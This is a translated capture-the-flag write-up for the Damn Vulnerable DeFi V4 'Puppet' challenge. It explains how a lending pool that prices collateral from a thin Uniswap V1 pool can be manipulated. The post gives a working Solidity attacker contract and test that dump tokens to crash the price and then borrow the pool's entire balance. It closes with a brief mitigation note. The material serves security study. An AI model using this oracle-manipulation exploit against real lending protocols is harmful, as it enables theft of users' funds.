Damn Vulnerable DeFi V4 解决方案 - #8. Puppet

本文分析了Damn Vulnerable DeFi V4挑战中的Puppet问题,该问题利用了DeFi借贷协议中价格预言机操纵漏洞。攻击者通过操纵Uniswap V1交易所的DVT/ETH价格,降低抵押品要求,从而借出资金池中的所有DVT代币,并将它们发送到指定的恢复地址。解决方案包括出售大量DVT代币以操纵价格,然后从池中借入DVT代币。

Damn Vulnerable DeFi V4 解决方案 — #8. Puppet

该解释假定你事先了解此挑战中的智能合约,并将专门关注漏洞分析。

挑战概述

这里有一个借贷池,用户可以在其中借用 Damn Valuable Tokens (DVTs)。为此,他们首先需要存入相当于借款金额两倍的 ETH 作为抵押品。该池目前有 100000 个 DVT 的流动性。

在旧的 Uniswap v1 交易所中开设了一个 DVT 市场,目前有 10 ETH 和 10 个 DVT 的流动性。

通过从借贷池中保存所有代币,然后将它们存入指定的 recovery account 中来通过挑战。你从 25 ETH 和 1000 个 DVT 的余额开始。

漏洞分析

Puppet 挑战展示了 DeFi 借贷协议中一个典型的价格预言机操纵漏洞。借贷池使用 Uniswap V1 交易所作为其价格预言机,而没有任何防止操纵的措施。

核心漏洞在于 PuppetPool 合约中的价格预言机实现。 _computeOraclePrice() 函数直接根据 Uniswap 池中的当前余额计算 DVT/ETH 价格:

    function _computeOraclePrice() private view returns (uint256) {
        // calculates the price of the token in wei according to Uniswap pair
        return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
    }

这种实现方式非常容易受到攻击,因为它依赖于流动性极低的单一流动性来源,并且可以通过更改池中的代币余额来轻松操纵价格。

攻击流程

  1. 批准 Uniswap 交易所花费我们的 DVT 代币
  2. 向 Uniswap 交易所出售大量我们的 DVT 代币
  3. 价格预言机现在计算出的 DVT 价格要低得多(因为池中存在更多的 DVT)
  4. 计算新的,被操纵的抵押品要求
  5. 使用最小的抵押品要求从借贷池中借出所有 100,000 个 DVT 代币
  6. 将借来的代币直接发送到 recovery address

解决方案

    contract Attacker {

        DamnValuableToken token;
        PuppetPool pool;
        IUniswapV1Exchange exchange;
        address recovery;
        uint256 constant POOL_INITIAL_TOKEN_BALANCE = 100_000e18;

        constructor(DamnValuableToken _token, PuppetPool _pool, IUniswapV1Exchange _exchange, address _recovery) payable {
            token = _token;
            pool = _pool;
            exchange = _exchange;
            recovery = _recovery;
        }

        function startAttack() public {
            token.approve(address(exchange), 1000e18);
            exchange.tokenToEthSwapInput(1000e18, 1e18, block.timestamp + 1 days);
            uint256 collateralRequired = pool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE);
            pool.borrow{value: collateralRequired}(POOL_INITIAL_TOKEN_BALANCE, recovery);
        }

        receive() external payable{}
    }
    /**
     * CODE YOUR SOLUTION HERE
     */
    function test_puppet() public checkSolvedByPlayer {
        Attacker attacker = new Attacker{value: 25e18}(token, lendingPool, uniswapV1Exchange, recovery);
        token.transfer(address(attacker), PLAYER_INITIAL_TOKEN_BALANCE);
        attacker.startAttack();
    }

保护机制

本来可以通过使用多个高流动性的价格来源并实施 TWAP 机制 来避免此漏洞。

包含解决方案的 GitHub 仓库:https://github.com/HamMnatsakanyan/damn-vulnerable-defi-solutions/

查看我的 X 个人资料:https://x.com/_synthrax

  • 原文链接: coinsbench.com/damn-vuln...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
CoinsBench
CoinsBench
https://coinsbench.com/